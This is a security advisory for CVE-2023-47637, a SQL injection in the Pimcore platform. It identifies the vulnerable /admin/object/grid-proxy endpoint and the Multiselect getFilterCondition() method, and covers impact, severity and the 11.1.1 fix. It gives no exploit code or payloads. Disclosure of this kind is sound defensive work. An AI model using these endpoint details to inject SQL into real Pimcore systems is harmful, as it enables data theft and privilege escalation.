CVE-2023-47637
Overview
This vulnerability is a SQL injection arising from improper input handling in the Pimcore platform. Specifically, the `getFilterCondition()` method in the Multiselect class fails to normalize, escape, or validate user-supplied input before incorporating it into SQL queries. The flaw exists in the `/admin/object/grid-proxy` endpoint, which processes filtering conditions on class fields without sufficient sanitization, enabling injection of arbitrary SQL commands.
Vulnerability Description
Pimcore is an Open Source Data & Experience Management Platform. In affected versions the `/admin/object/grid-proxy` endpoint calls `getFilterCondition()` on fields of classes to be filtered for, passing input from the request, and later executes the returned SQL. One implementation of `getFilterCondition()` is in `Multiselect`, which does not normalize/escape/validate the passed value. Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level. This vulnerability has been addressed in version 11.1.1. Users are advised to upgrade. There are no known workarounds for this vulnerability.
Impact
An attacker with basic backend user credentials can exploit this vulnerability to execute arbitrary SQL commands within the Pimcore database. This enables unauthorized data modification, privilege escalation to administrator level, and potential full compromise of the platform. Exploitation requires authenticated access to the backend interface but no user interaction beyond that. The CVSS vector (AV:N/AC:L/PR:L/UI:N) confirms network attack with low complexity and low privileges required, impacting confidentiality, integrity, and availability at a high level (8.8).
Solution
Users should upgrade Pimcore to version 11.1.1 or later, where this SQL injection vulnerability has been addressed. Detailed patch information and remediation steps are provided in Pimcore's security advisory GHSA-72hh-xf79-429p and the related GitHub commit d164d99c90f098d0ccd6b72929c48b727e2953a0. No workarounds are available; applying the official update is the only recommended mitigation.

Full Analysis
The vulnerability in the Pimcore platform arises from improper handling of user input within the `/admin/object/grid-proxy` endpoint. Specifically, the method `getFilterCondition()` is invoked with user-supplied data, which is subsequently used to construct SQL queries without adequate normalization, escaping, or validation. This oversight allows malicious actors to inject arbitrary SQL commands directly into the database. The implementation of this method in the `Multiselect` class is particularly concerning, as it exposes a critical attack surface that can be exploited by any backend user, even those with minimal permissions. The lack of input sanitization creates a pathway for SQL injection attacks, which can lead to unauthorized data manipulation or privilege escalation.
Attack vectors for this vulnerability are straightforward yet highly effective. An attacker with basic access to the Pimcore backend can craft a request that includes malicious SQL code within the filter parameters. Once executed, this code can alter database records, extract sensitive information, or escalate the attacker's privileges to an administrative level. For instance, an attacker could modify user roles or access confidential data, compromising the integrity and confidentiality of the entire system. The ease of exploitation, combined with the potential for significant damage, makes this vulnerability particularly dangerous in environments where Pimcore is employed for managing sensitive data or customer interactions.
The real-world impact of this vulnerability is substantial, especially for organizations relying on Pimcore for data and experience management. The ability to execute arbitrary SQL commands can lead to severe data breaches, loss of customer trust, and potential legal ramifications depending on the nature of the compromised data. Businesses may face operational disruptions, financial losses, and reputational damage as a result of such an exploit. Furthermore, the risk of privilege escalation means that an attacker could gain control over critical administrative functions, further exacerbating the potential fallout. Organizations must recognize that the implications of this vulnerability extend beyond technical concerns, touching on compliance and governance issues as well.
To effectively detect and mitigate this vulnerability, organizations should prioritize upgrading to the patched version of Pimcore, which addresses the underlying issues with input handling. Regular security assessments, including penetration testing and code reviews, can help identify similar vulnerabilities in the future. Implementing a robust web application firewall (WAF) can also provide an additional layer of protection by filtering out malicious requests before they reach the application. Furthermore, employing strict access controls and monitoring user activities can help mitigate the risk of exploitation by limiting the potential impact of compromised accounts. Organizations should also invest in training for developers and administrators to ensure they understand secure coding practices and the importance of input validation.
In conclusion, the vulnerability within the Pimcore platform represents a significant threat due to its potential for exploitation by even low-privileged users. The ramifications of such an exploit can be severe, affecting not only the integrity of the data but also the overall trust in the organization. By prioritizing timely upgrades and implementing comprehensive security measures, organizations can protect themselves from the risks associated with this vulnerability and enhance their overall cybersecurity posture.
